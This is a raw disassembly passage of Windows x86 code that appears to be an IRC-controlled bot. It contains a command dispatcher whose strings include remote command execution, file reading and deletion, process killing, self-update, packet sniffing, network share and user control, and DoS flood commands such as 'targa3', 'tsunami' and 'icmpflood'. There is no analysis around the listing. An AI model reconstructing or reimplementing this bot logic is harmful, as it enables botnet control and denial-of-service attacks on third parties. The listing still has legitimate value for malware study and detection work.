		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42DD4C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h
		call	sub_417DF2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42DD4C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_404E61:				; CODE XREF: sub_401AC7+32BFj
					; sub_401AC7+32CCj
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404F4D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_404F4D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 24h
		call	sub_417DF2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h
		call	sub_417DF2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_404F4D:				; CODE XREF: sub_401AC7+33ABj
					; sub_401AC7+33B8j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405061
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405061
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DC44
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 20h
		call	sub_417DF2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DC2C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 10h
		call	sub_417DF2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DC14
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 10h
		call	sub_417DF2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DC14
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 10h


loc_405061:				; CODE XREF: sub_401AC7+3497j
					; sub_401AC7+34A4j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405184
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405184
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DC44
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 20h
		call	sub_417DF2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h
		call	sub_417DF2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h
		call	sub_417DF2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_405184:				; CODE XREF: sub_401AC7+35ABj
					; sub_401AC7+35B8j
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4051CA
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_4051CA
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_4051CA:				; CODE XREF: sub_401AC7+36CEj
					; sub_401AC7+36D9j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405A11
		mov	edi, offset dword_4D1464


loc_4051E6:				; CODE XREF: sub_401AC7+373Ej
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4051F9
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4051F9
		push	eax
		call	dword_4C9890	; closesocket


loc_4051F9:				; CODE XREF: sub_401AC7+3723j
					; sub_401AC7+3729j
		add	edi, 210h
		cmp	edi, offset dword_4D7B84
		jl	short loc_4051E6
		cmp	[ebp+var_8], ebx
		jnz	loc_405A11
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42DBB4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h
		jmp	loc_405A11
; ---------------------------------------------------------------------------


loc_40522F:				; CODE XREF: sub_401AC7+2C17j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408955
		push	edi
		push	offset aN	; "n"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408955
		push	edi
		push	offset aJoin	; "join"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408931
		push	edi
		push	offset aJ	; "j"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408931
		push	edi
		push	offset aPart_0	; "part"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408914
		push	edi
		push	offset aPt	; "pt"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408914
		push	edi
		push	offset aRaw	; "raw"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DB
		push	edi
		push	offset aR	; "r"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DB
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087DB
		push	edi
		push	offset aK	; "k"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087DB
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40872D
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40872D
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086DE
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086DE
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086C5
		push	edi
		push	offset aPr	; "pr"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086C5
		push	edi
		push	offset aOpen	; "open"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408697
		push	edi
		push	offset aO	; "o"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408697
		push	edi
		push	offset aServer	; "server"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40866E
		push	edi
		push	offset aSe	; "se"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40866E
		push	edi
		push	offset aDns	; "dns"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408603
		push	edi
		push	offset aDn	; "dn"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408603
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D3
		push	edi
		push	offset aKp	; "kp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D3
		push	edi
		push	offset aKill	; "kill"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408574
		push	edi
		push	offset aKi	; "ki"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408574
		push	edi
		push	offset aDelete	; "delete"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40853C
		push	edi
		push	offset aDel	; "del"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40853C
		push	edi
		push	offset aList	; "list"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40851D
		push	edi
		push	offset aLi	; "li"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40851D
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084A7
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084A7
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408451
		push	edi
		push	offset aCm	; "cm"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408451
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C6
		push	edi
		push	offset aRf	; "rf"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C6
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405675
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40563B
		push	21h
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jle	short loc_405568
		push	offset unk_42DAF0
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_405568:				; CODE XREF: sub_401AC7+3A95j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_D98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_D10], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_D0C], eax
		jnz	short loc_4055AA
		mov	esi, offset dword_425148
		push	offset byte_43B9B8
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4055AA
		mov	esi, [ebp+var_88]


loc_4055AA:				; CODE XREF: sub_401AC7+3AC5j
					; sub_401AC7+3ADBj
		push	esi
		lea	eax, [ebp+var_D94]
		push	80h
		push	eax
		call	sub_417E90
		lea	eax, [ebp+var_2C4]
		push	offset unk_42DAC0
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40A203
		add	esp, 20h
		mov	[ebp+var_D14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D98]
		push	ebx
		push	eax
		push	offset sub_41101A
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_D14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40562A


loc_405614:				; CODE XREF: sub_401AC7+3B61j
		cmp	[ebp+var_D08], ebx
		jnz	loc_4079A7
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_405614
; ---------------------------------------------------------------------------


loc_40562A:				; CODE XREF: sub_401AC7+3B4Bj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DA84
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_40563B:				; CODE XREF: sub_401AC7+3A85j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4079A7
		push	ebx
		push	21h
		call	sub_40A3FE
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40566B
		push	eax
		push	offset unk_42DA44
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_40566B:				; CODE XREF: sub_401AC7+3B97j
		push	offset unk_42DA14
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_405675:				; CODE XREF: sub_401AC7+3A6Ej
		push	edi
		push	offset aIdent	; "ident"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40574A
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405710
		push	2
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jle	short loc_4056B3
		push	offset dword_42D9EC
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_4056B3:				; CODE XREF: sub_401AC7+3BE0j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42D9C0
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40A203
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40F2F7
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43C754[esi], eax
		jnz	loc_4079A7
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42D98C
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_405710:				; CODE XREF: sub_401AC7+3BD4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4079A7
		push	ebx
		push	2
		call	sub_40A3FE
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405740
		push	eax
		push	offset dword_42D954
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_405740:				; CODE XREF: sub_401AC7+3C6Cj
		push	offset dword_42D934
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_40574A:				; CODE XREF: sub_401AC7+3BBDj
		push	edi
		push	offset aNet	; "net"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4059E7
		cmp	dword_4C98C8, ebx
		jz	short loc_405779
		cmp	dword_4C98F0, ebx
		jz	short loc_405779
		push	offset unk_42D8FC
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_405779:				; CODE XREF: sub_401AC7+3C9Ej
					; sub_401AC7+3CA6j
		cmp	[ebp+var_C], ebx
		jz	loc_4063FE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_40579E
		push	edi
		push	[ebp+var_C]
		call	sub_417E10
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_40579E:				; CODE XREF: sub_401AC7+3CC7j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405805
		cmp	edi, ebx
		jz	short loc_4057D9
		push	[ebp+arg_0]
		push	3


loc_4057BA:				; CODE XREF: sub_401AC7+3D56j
					; sub_401AC7+3D70j ...
		call	sub_415796
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E26C
		push	eax
		call	sub_417D96
		add	esp, 14h
		jmp	loc_4063FE
; ---------------------------------------------------------------------------


loc_4057D9:				; CODE XREF: sub_401AC7+3CECj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A3D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4057FB
		push	offset unk_42D8D8
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_4057FB:				; CODE XREF: sub_401AC7+3D28j
		push	offset unk_42D8B8
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_405805:				; CODE XREF: sub_401AC7+3CE8j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40581F
		push	[ebp+arg_0]
		push	4
		jmp	short loc_4057BA
; ---------------------------------------------------------------------------


loc_40581F:				; CODE XREF: sub_401AC7+3D4Fj
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405839
		push	[ebp+arg_0]
		push	5
		jmp	short loc_4057BA
; ---------------------------------------------------------------------------


loc_405839:				; CODE XREF: sub_401AC7+3D69j
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405856
		push	[ebp+arg_0]
		push	6
		jmp	loc_4057BA
; ---------------------------------------------------------------------------


loc_405856:				; CODE XREF: sub_401AC7+3D83j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405873
		push	[ebp+arg_0]
		push	1
		jmp	loc_4057BA
; ---------------------------------------------------------------------------


loc_405873:				; CODE XREF: sub_401AC7+3DA0j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4058ED
		cmp	edi, ebx
		jz	short loc_4058C0
		cmp	[ebp+var_8FC], bl
		jz	short loc_405898
		push	ebx
		push	edi
		push	1
		jmp	short loc_4058A1
; ---------------------------------------------------------------------------


loc_405898:				; CODE XREF: sub_401AC7+3DC9j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_4058A1:				; CODE XREF: sub_401AC7+3DCFj
		call	sub_415B7A
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E26C
		push	eax
		call	sub_417D96
		add	esp, 18h
		jmp	loc_4063FE
; ---------------------------------------------------------------------------


loc_4058C0:				; CODE XREF: sub_401AC7+3DC1j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415D08
		add	esp, 10h
		test	eax, eax
		jz	short loc_4058E3
		push	offset unk_42D87C
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_4058E3:				; CODE XREF: sub_401AC7+3E10j
		push	offset unk_42D85C
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_4058ED:				; CODE XREF: sub_401AC7+3DBDj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40598E
		cmp	edi, ebx
		jz	short loc_405961
		cmp	[ebp+var_8FC], bl
		jz	short loc_405922
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_405942
; ---------------------------------------------------------------------------


loc_405922:				; CODE XREF: sub_401AC7+3E47j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_40593E
		push	esi
		push	edi
		push	ebx
		jmp	short loc_405942
; ---------------------------------------------------------------------------


loc_40593E:				; CODE XREF: sub_401AC7+3E70j
		push	ebx
		push	edi
		push	2


loc_405942:				; CODE XREF: sub_401AC7+3E59j
					; sub_401AC7+3E75j
		call	sub_415E29
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E26C
		push	eax
		call	sub_417D96
		add	esp, 24h
		jmp	loc_4063FE
; ---------------------------------------------------------------------------


loc_405961:				; CODE XREF: sub_401AC7+3E3Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41633D
		add	esp, 10h
		test	eax, eax
		jz	short loc_405984
		push	offset unk_42D834
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_405984:				; CODE XREF: sub_401AC7+3EB1j
		push	offset unk_42D814
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_40598E:				; CODE XREF: sub_401AC7+3E37j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059DD
		cmp	edi, ebx
		jz	short loc_4059D3
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4165F1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E26C
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		jmp	loc_4063FE
; ---------------------------------------------------------------------------


loc_4059D3:				; CODE XREF: sub_401AC7+3EDCj
		push	offset unk_42D7E8
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_4059DD:				; CODE XREF: sub_401AC7+3ED8j
		push	offset unk_42D7CC
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_4059E7:				; CODE XREF: sub_401AC7+3C92j
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082D8
		push	edi
		push	offset aGh	; "gh"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082D8


loc_405A11:				; CODE XREF: sub_401AC7+3714j
					; sub_401AC7+3743j ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E8B
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082BE
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082BE
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40827D
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40827D
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408223
		push	[ebp+arg_8]
		push	offset dword_42DD60
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408223
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081B1
		push	[ebp+arg_8]
		push	offset aA_0	; "a"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081B1
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40814D
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40814D
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40810F
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40810F
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080A3
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080A3
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408020
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408020
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FB3
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FB3
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F8D
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F8D
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F29
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F29
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E57
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E57
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D5F
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D5F
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C8B
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C8B
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BEE
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BEE
		push	[ebp+arg_8]
		push	offset aUpdate	; "update"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aU11p	; "u11p"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079D0
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079D0
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795B
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795B
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407864
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_418570
